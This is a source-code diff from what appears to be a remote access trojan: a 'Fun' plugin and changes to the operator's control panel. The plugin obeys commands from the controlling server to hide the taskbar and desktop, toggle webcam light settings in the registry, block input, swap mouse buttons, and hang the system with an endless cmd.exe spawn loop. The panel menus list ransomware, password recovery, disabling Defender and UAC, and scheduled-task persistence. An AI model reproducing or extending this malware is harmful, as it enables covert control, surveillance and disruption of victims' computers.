|
||||
|
||||
private static void SetVisibility(bool show)
|
||||
{
|
||||
IntPtr taskBarWnd = Native.FindWindow("Shell_TrayWnd", null);
|
||||
|
||||
IntPtr startWnd = Native.FindWindowEx(IntPtr.Zero, IntPtr.Zero, (IntPtr)0xC017, "Start");
|
||||
|
||||
|
||||
if (startWnd == IntPtr.Zero)
|
||||
{
|
||||
startWnd = Native.FindWindow("Button", null);
|
||||
|
||||
if (startWnd == IntPtr.Zero)
|
||||
{
|
||||
startWnd = GetVistaStartMenuWnd(taskBarWnd);
|
||||
}
|
||||
}
|
||||
|
||||
Native.ShowWindow(taskBarWnd, show ? ShowWindowCommands.Show : ShowWindowCommands.Hide);
|
||||
Native.ShowWindow(startWnd, show ? ShowWindowCommands.Show : ShowWindowCommands.Hide);
|
||||
}
|
||||
|
||||
private static IntPtr GetVistaStartMenuWnd(IntPtr taskBarWnd)
|
||||
{
|
||||
uint procId;
|
||||
Native.GetWindowThreadProcessId(taskBarWnd, out procId);
|
||||
|
||||
Process p = Process.GetProcessById((int)procId);
|
||||
|
||||
foreach (ProcessThread t in p.Threads)
|
||||
{
|
||||
Native.EnumThreadWindows(t.Id, MyEnumThreadWindowsProc, IntPtr.Zero);
|
||||
}
|
||||
|
||||
return vistaStartMenuWnd;
|
||||
}
|
||||
private static bool MyEnumThreadWindowsProc(IntPtr hWnd, IntPtr lParam)
|
||||
{
|
||||
StringBuilder buffer = new StringBuilder(256);
|
||||
if (Native.GetWindowText(hWnd, buffer, buffer.Capacity) > 0)
|
||||
{
|
||||
if (buffer.ToString() == VistaStartMenuCaption)
|
||||
{
|
||||
vistaStartMenuWnd = hWnd;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,95 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandleWebcamLight
|
||||
{
|
||||
public void Disable()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{6BDD1FC6-810F-11D0-BEC7-08002BE2092F}"))
|
||||
{
|
||||
foreach (string name in from x in registryKey.GetSubKeyNames()
|
||||
where Regex.IsMatch(x, "[0-9]{4}")
|
||||
select x)
|
||||
{
|
||||
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name))
|
||||
{
|
||||
registryKey2.SetValue("", 8, RegistryValueKind.DWord);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}"))
|
||||
{
|
||||
foreach (string name2 in from x in registryKey3.GetSubKeyNames()
|
||||
where Regex.IsMatch(x, "[0-9]{4}")
|
||||
select x)
|
||||
{
|
||||
using (RegistryKey registryKey4 = registryKey3.OpenSubKey(name2))
|
||||
{
|
||||
registryKey4.SetValue("LedMode", 1, RegistryValueKind.DWord);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void Enable()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{6BDD1FC6-810F-11D0-BEC7-08002BE2092F}"))
|
||||
{
|
||||
foreach (string name in from x in registryKey.GetSubKeyNames()
|
||||
where Regex.IsMatch(x, "[0-9]{4}")
|
||||
select x)
|
||||
{
|
||||
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name))
|
||||
{
|
||||
registryKey2.SetValue("", 0, RegistryValueKind.DWord);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}"))
|
||||
{
|
||||
foreach (string name2 in from x in registryKey3.GetSubKeyNames()
|
||||
where Regex.IsMatch(x, "[0-9]{4}")
|
||||
select x)
|
||||
{
|
||||
using (RegistryKey registryKey4 = registryKey3.OpenSubKey(name2))
|
||||
{
|
||||
registryKey4.SetValue("LedMode", 0, RegistryValueKind.DWord);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,101 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
public class Native
|
||||
{
|
||||
public delegate bool EnumThreadProc(IntPtr hwnd, IntPtr lParam);
|
||||
public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
|
||||
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr FindWindow(string className, string windowText);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr FindWindowEx(IntPtr parentHwnd, IntPtr childAfterHwnd, IntPtr className,
|
||||
string windowText);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, ShowWindowCommands nCmdShow);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern bool EnumThreadWindows(int threadId, EnumThreadProc pfnEnum, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetShellWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className,
|
||||
string windowTitle);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
|
||||
[DllImport("user32.dll", EntryPoint = "BlockInput")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool BlockInput([MarshalAs(UnmanagedType.Bool)] bool fBlockIt);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SwapMouseButton(int bSwap);
|
||||
|
||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
|
||||
public static extern int mciSendString(string lpstrCommand,
|
||||
StringBuilder lpstrReturnString,
|
||||
int uReturnLength,
|
||||
IntPtr hwndCallback);
|
||||
}
|
||||
|
||||
|
||||
public enum ShowWindowCommands
|
||||
{
|
||||
Hide = 0,
|
||||
|
||||
Normal = 1,
|
||||
|
||||
ShowMinimized = 2,
|
||||
|
||||
Maximize = 3,
|
||||
|
||||
ShowMaximized = 3,
|
||||
|
||||
ShowNoActivate = 4,
|
||||
|
||||
Show = 5,
|
||||
|
||||
Minimize = 6,
|
||||
|
||||
ShowMinNoActive = 7,
|
||||
|
||||
ShowNA = 8,
|
||||
|
||||
Restore = 9,
|
||||
|
||||
ShowDefault = 10,
|
||||
|
||||
ForceMinimize = 11
|
||||
}
|
||||
}
|
|
@ -0,0 +1,67 @@
|
|||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<!-- -->
|
||||
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
|
||||
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
|
||||
<!-- -->
|
||||
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
|
||||
|
||||
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
|
||||
<ILMergeTransitive>true</ILMergeTransitive>
|
||||
|
||||
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
|
||||
<ILMergeLibraryPath></ILMergeLibraryPath>
|
||||
|
||||
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
|
||||
<ILMergePackagesPath></ILMergePackagesPath>
|
||||
|
||||
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
|
||||
<ILMergeOrderFile></ILMergeOrderFile>
|
||||
|
||||
<!-- The strong key file name if not specified in the project -->
|
||||
<ILMergeKeyFile></ILMergeKeyFile>
|
||||
|
||||
<!-- The assembly version if differs for the version of the main assembly -->
|
||||
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
|
||||
|
||||
<!-- added in Version 1.0.4 -->
|
||||
<ILMergeFileAlignment></ILMergeFileAlignment>
|
||||
|
||||
<!-- added in Version 1.0.4, default=none -->
|
||||
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
|
||||
|
||||
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
|
||||
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
|
||||
|
||||
<!-- See ILMerge documentation -->
|
||||
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
|
||||
|
||||
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
|
||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||
|
||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||
<ILMergeDebugInfo></ILMergeDebugInfo>
|
||||
|
||||
<!-- Target assembly will be delay signed -->
|
||||
<ILMergeDelaySign></ILMergeDelaySign>
|
||||
|
||||
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
|
||||
<ILMergeInternalize></ILMergeInternalize>
|
||||
|
||||
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
|
||||
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
|
||||
|
||||
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
|
||||
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
|
||||
|
||||
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
|
||||
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
|
||||
|
||||
<!-- Types with the same name are all merged into a single type in the target assembly -->
|
||||
<ILMergeUnionMerge></ILMergeUnionMerge>
|
||||
|
||||
<!-- The version of the target framework, default 40 (works for 45 too) -->
|
||||
<ILTargetPlatform></ILTargetPlatform>
|
||||
</PropertyGroup>
|
||||
</Project>
|
|
@ -0,0 +1,4 @@
|
|||
# this file contains the partial list of the merged assemblies in the merge order
|
||||
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
|
||||
# and finetune merge order to your satisfaction
|
||||
|
|
@ -0,0 +1,152 @@
|
|||
using Plugin.Handler;
|
||||
using MessagePackLib.MessagePack;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Packet
|
||||
{
|
||||
public static void Read(object data)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes((byte[])data);
|
||||
switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
|
||||
{
|
||||
|
||||
case "blankscreen+":
|
||||
{
|
||||
new HandleBlankScreen().Run();
|
||||
break;
|
||||
}
|
||||
|
||||
case "blankscreen-":
|
||||
{
|
||||
new HandleBlankScreen().Stop();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Taskbar+":
|
||||
{
|
||||
new HandleTaskbar().Show();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Taskbar-":
|
||||
{
|
||||
new HandleTaskbar().Hide();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Clock+":
|
||||
{
|
||||
new HandleClock().Show();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Clock-":
|
||||
{
|
||||
new HandleClock().Hide();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Desktop+":
|
||||
{
|
||||
new HandleDesktop().Show();
|
||||
break;
|
||||
}
|
||||
|
||||
case "Desktop-":
|
||||
{
|
||||
new HandleDesktop().Hide();
|
||||
break;
|
||||
}
|
||||
|
||||
case "holdMouse":
|
||||
{
|
||||
new HandleHoldMouse().Hold(unpack_msgpack.ForcePathObject("Time").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "swapMouseButtons":
|
||||
{
|
||||
new HandleMouseButton().SwapMouseButtons();
|
||||
break;
|
||||
}
|
||||
|
||||
case "restoreMouseButtons":
|
||||
{
|
||||
new HandleMouseButton().RestoreMouseButtons();
|
||||
break;
|
||||
}
|
||||
|
||||
case "blockInput":
|
||||
{
|
||||
new HandleBlockInput().Block(unpack_msgpack.ForcePathObject("Time").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "openCD+":
|
||||
{
|
||||
new HandleOpenCD().Show();
|
||||
break;
|
||||
}
|
||||
|
||||
case "openCD-":
|
||||
{
|
||||
new HandleOpenCD().Hide();
|
||||
break;
|
||||
}
|
||||
|
||||
case "monitorOff":
|
||||
{
|
||||
new HandleMonitor().TurnOff();
|
||||
break;
|
||||
}
|
||||
|
||||
case "hangSystem":
|
||||
{
|
||||
var startInfo = new ProcessStartInfo("cmd.exe");
|
||||
while (true)
|
||||
Process.Start(startInfo);
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcamlight+":
|
||||
{
|
||||
new HandleWebcamLight().Enable();
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcamlight-":
|
||||
{
|
||||
new HandleWebcamLight().Disable();
|
||||
break;
|
||||
}
|
||||
|
||||
case "playAudio":
|
||||
{
|
||||
new HandlePlayAudio().Play(unpack_msgpack.ForcePathObject("wavfile").GetAsBytes());
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Error(string ex)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Error";
|
||||
msgpack.ForcePathObject("Error").AsString = ex;
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
using System.Diagnostics;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public class Plugin
|
||||
{
|
||||
public static Socket Socket;
|
||||
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install)
|
||||
{
|
||||
Debug.WriteLine("Plugin Invoked");
|
||||
Socket = socket;
|
||||
Connection.ServerCertificate = certificate;
|
||||
Connection.Hwid = hwid;
|
||||
new Thread(() =>
|
||||
{
|
||||
Connection.InitializeClient(msgPack);
|
||||
}).Start();
|
||||
|
||||
while (Connection.IsConnected)
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,36 @@
|
|||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// 有关程序集的一般信息由以下
|
||||
// 控制。更改这些特性值可修改
|
||||
// 与程序集关联的信息。
|
||||
[assembly: AssemblyTitle("Fun")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Fun")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2021")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// 将 ComVisible 设置为 false 会使此程序集中的类型
|
||||
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
|
||||
//请将此类型的 ComVisible 特性设置为 true。
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
|
||||
[assembly: Guid("8bf244eb-0ca3-403e-a076-f1d77731a728")]
|
||||
|
||||
// 程序集的版本信息由下列四个值组成:
|
||||
//
|
||||
// 主版本
|
||||
// 次版本
|
||||
// 生成号
|
||||
// 修订号
|
||||
//
|
||||
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
|
||||
//通过使用 "*",如下所示:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
|
@ -0,0 +1,5 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
|
||||
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
|
||||
</packages>
|
|
@ -62,10 +62,6 @@
|
|||
this.DisableWDToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.PasswordRecoveryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.DisableUACToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.OpenCDToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.LockScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.StartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.StopToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.SystemControlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.ClientControlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.StopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
|
@ -85,6 +81,9 @@
|
|||
this.InstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.SchtaskInstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.SchtaskUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.normalInstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.normalUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.justForFunToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.InformationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
|
@ -149,8 +148,6 @@
|
|||
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.ConnectTimeout = new System.Windows.Forms.Timer(this.components);
|
||||
this.normalInstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.normalUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.contextMenuClient.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.contextMenuLogs.SuspendLayout();
|
||||
|
@ -175,10 +172,10 @@
|
|||
this.RemoteManagerToolStripMenuItem,
|
||||
this.RemoteControlToolStripMenuItem,
|
||||
this.MalwareToolStripMenuItem,
|
||||
this.LockScreenToolStripMenuItem,
|
||||
this.SystemControlToolStripMenuItem,
|
||||
this.BypassUACAToolStripMenuItem,
|
||||
this.InstallToolStripMenuItem,
|
||||
this.justForFunToolStripMenuItem,
|
||||
this.InformationToolStripMenuItem});
|
||||
this.contextMenuClient.Name = "contextMenuStrip1";
|
||||
this.contextMenuClient.Size = new System.Drawing.Size(181, 202);
|
||||
|
@ -197,7 +194,7 @@
|
|||
this.ProgramNotificationToolStripMenuItem});
|
||||
this.RemoteManagerToolStripMenuItem.Name = "RemoteManagerToolStripMenuItem";
|
||||
this.RemoteManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.RemoteManagerToolStripMenuItem.Text = "Remote Manager";
|
||||
this.RemoteManagerToolStripMenuItem.Text = "Surveillance";
|
||||
//
|
||||
// RemoteShellToolStripMenuItem
|
||||
//
|
||||
|
@ -290,7 +287,7 @@
|
|||
this.FileSearchToolStripMenuItem});
|
||||
this.RemoteControlToolStripMenuItem.Name = "RemoteControlToolStripMenuItem";
|
||||
this.RemoteControlToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.RemoteControlToolStripMenuItem.Text = "Remote Control";
|
||||
this.RemoteControlToolStripMenuItem.Text = "Control";
|
||||
//
|
||||
// SendFileToolStripMenuItem1
|
||||
//
|
||||
|
@ -372,8 +369,7 @@
|
|||
this.RansomwareToolStripMenuItem,
|
||||
this.DisableWDToolStripMenuItem,
|
||||
this.PasswordRecoveryToolStripMenuItem,
|
||||
this.DisableUACToolStripMenuItem,
|
||||
this.OpenCDToolStripMenuItem});
|
||||
this.DisableUACToolStripMenuItem});
|
||||
this.MalwareToolStripMenuItem.Name = "MalwareToolStripMenuItem";
|
||||
this.MalwareToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.MalwareToolStripMenuItem.Text = "Malware";
|
||||
|
@ -429,36 +425,6 @@
|
|||
this.DisableUACToolStripMenuItem.Text = "Disable UAC";
|
||||
this.DisableUACToolStripMenuItem.Click += new System.EventHandler(this.DisableUACToolStripMenuItem_Click);
|
||||
//
|
||||
// OpenCDToolStripMenuItem
|
||||
//
|
||||
this.OpenCDToolStripMenuItem.Name = "OpenCDToolStripMenuItem";
|
||||
this.OpenCDToolStripMenuItem.Size = new System.Drawing.Size(189, 22);
|
||||
this.OpenCDToolStripMenuItem.Text = "OpenCD";
|
||||
this.OpenCDToolStripMenuItem.Click += new System.EventHandler(this.OpenCDToolStripMenuItem_Click);
|
||||
//
|
||||
// LockScreenToolStripMenuItem
|
||||
//
|
||||
this.LockScreenToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.StartToolStripMenuItem2,
|
||||
this.StopToolStripMenuItem3});
|
||||
this.LockScreenToolStripMenuItem.Name = "LockScreenToolStripMenuItem";
|
||||
this.LockScreenToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.LockScreenToolStripMenuItem.Text = "Lock Screen";
|
||||
//
|
||||
// StartToolStripMenuItem2
|
||||
//
|
||||
this.StartToolStripMenuItem2.Name = "StartToolStripMenuItem2";
|
||||
this.StartToolStripMenuItem2.Size = new System.Drawing.Size(103, 22);
|
||||
this.StartToolStripMenuItem2.Text = "Start";
|
||||
this.StartToolStripMenuItem2.Click += new System.EventHandler(this.StartToolStripMenuItem2_Click);
|
||||
//
|
||||
// StopToolStripMenuItem3
|
||||
//
|
||||
this.StopToolStripMenuItem3.Name = "StopToolStripMenuItem3";
|
||||
this.StopToolStripMenuItem3.Size = new System.Drawing.Size(103, 22);
|
||||
this.StopToolStripMenuItem3.Text = "Stop";
|
||||
this.StopToolStripMenuItem3.Click += new System.EventHandler(this.StopToolStripMenuItem3_Click);
|
||||
//
|
||||
// SystemControlToolStripMenuItem
|
||||
//
|
||||
this.SystemControlToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
|
@ -477,7 +443,7 @@
|
|||
this.UninstallToolStripMenuItem,
|
||||
this.ClientFolderToolStripMenuItem});
|
||||
this.ClientControlToolStripMenuItem.Name = "ClientControlToolStripMenuItem";
|
||||
this.ClientControlToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
|
||||
this.ClientControlToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.ClientControlToolStripMenuItem.Text = "Client Control";
|
||||
//
|
||||
// StopToolStripMenuItem1
|
||||
|
@ -522,7 +488,7 @@
|
|||
this.RebootToolStripMenuItem,
|
||||
this.LogoutToolStripMenuItem});
|
||||
this.SystemToolStripMenuItem.Name = "SystemToolStripMenuItem";
|
||||
this.SystemToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
|
||||
this.SystemToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.SystemToolStripMenuItem.Text = "System";
|
||||
//
|
||||
// ShutDownToolStripMenuItem
|
||||
|
@ -599,17 +565,38 @@
|
|||
// SchtaskInstallToolStripMenuItem
|
||||
//
|
||||
this.SchtaskInstallToolStripMenuItem.Name = "SchtaskInstallToolStripMenuItem";
|
||||
this.SchtaskInstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.SchtaskInstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22);
|
||||
this.SchtaskInstallToolStripMenuItem.Text = "Schtask Install";
|
||||
this.SchtaskInstallToolStripMenuItem.Click += new System.EventHandler(this.SchtaskInstallToolStripMenuItem_Click);
|
||||
//
|
||||
// SchtaskUninstallToolStripMenuItem
|
||||
//
|
||||
this.SchtaskUninstallToolStripMenuItem.Name = "SchtaskUninstallToolStripMenuItem";
|
||||
this.SchtaskUninstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.SchtaskUninstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22);
|
||||
this.SchtaskUninstallToolStripMenuItem.Text = "Schtask Uninstall";
|
||||
this.SchtaskUninstallToolStripMenuItem.Click += new System.EventHandler(this.SchtaskUninstallToolStripMenuItem_Click);
|
||||
//
|
||||
// normalInstallToolStripMenuItem
|
||||
//
|
||||
this.normalInstallToolStripMenuItem.Name = "normalInstallToolStripMenuItem";
|
||||
this.normalInstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22);
|
||||
this.normalInstallToolStripMenuItem.Text = "Normal Install";
|
||||
this.normalInstallToolStripMenuItem.Click += new System.EventHandler(this.normalInstallToolStripMenuItem_Click);
|
||||
//
|
||||
// normalUninstallToolStripMenuItem
|
||||
//
|
||||
this.normalUninstallToolStripMenuItem.Name = "normalUninstallToolStripMenuItem";
|
||||
this.normalUninstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22);
|
||||
this.normalUninstallToolStripMenuItem.Text = "Normal Uninstall";
|
||||
this.normalUninstallToolStripMenuItem.Click += new System.EventHandler(this.normalUninstallToolStripMenuItem_Click);
|
||||
//
|
||||
// justForFunToolStripMenuItem
|
||||
//
|
||||
this.justForFunToolStripMenuItem.Name = "justForFunToolStripMenuItem";
|
||||
this.justForFunToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.justForFunToolStripMenuItem.Text = "Just For Fun";
|
||||
this.justForFunToolStripMenuItem.Click += new System.EventHandler(this.justForFunToolStripMenuItem_Click);
|
||||
//
|
||||
// InformationToolStripMenuItem
|
||||
//
|
||||
this.InformationToolStripMenuItem.Name = "InformationToolStripMenuItem";
|
||||
|
@ -1134,20 +1121,6 @@
|
|||
this.ConnectTimeout.Interval = 5000;
|
||||
this.ConnectTimeout.Tick += new System.EventHandler(this.ConnectTimeout_Tick);
|
||||
//
|
||||
// normalInstallToolStripMenuItem
|
||||
//
|
||||
this.normalInstallToolStripMenuItem.Name = "normalInstallToolStripMenuItem";
|
||||
this.normalInstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.normalInstallToolStripMenuItem.Text = "Normal Install";
|
||||
this.normalInstallToolStripMenuItem.Click += new System.EventHandler(this.normalInstallToolStripMenuItem_Click);
|
||||
//
|
||||
// normalUninstallToolStripMenuItem
|
||||
//
|
||||
this.normalUninstallToolStripMenuItem.Name = "normalUninstallToolStripMenuItem";
|
||||
this.normalUninstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||
this.normalUninstallToolStripMenuItem.Text = "Normal Uninstall";
|
||||
this.normalUninstallToolStripMenuItem.Click += new System.EventHandler(this.normalUninstallToolStripMenuItem_Click);
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
|
||||
|
@ -1229,9 +1202,6 @@
|
|||
private System.Windows.Forms.ToolStripMenuItem VisteWebsiteToolStripMenuItem1;
|
||||
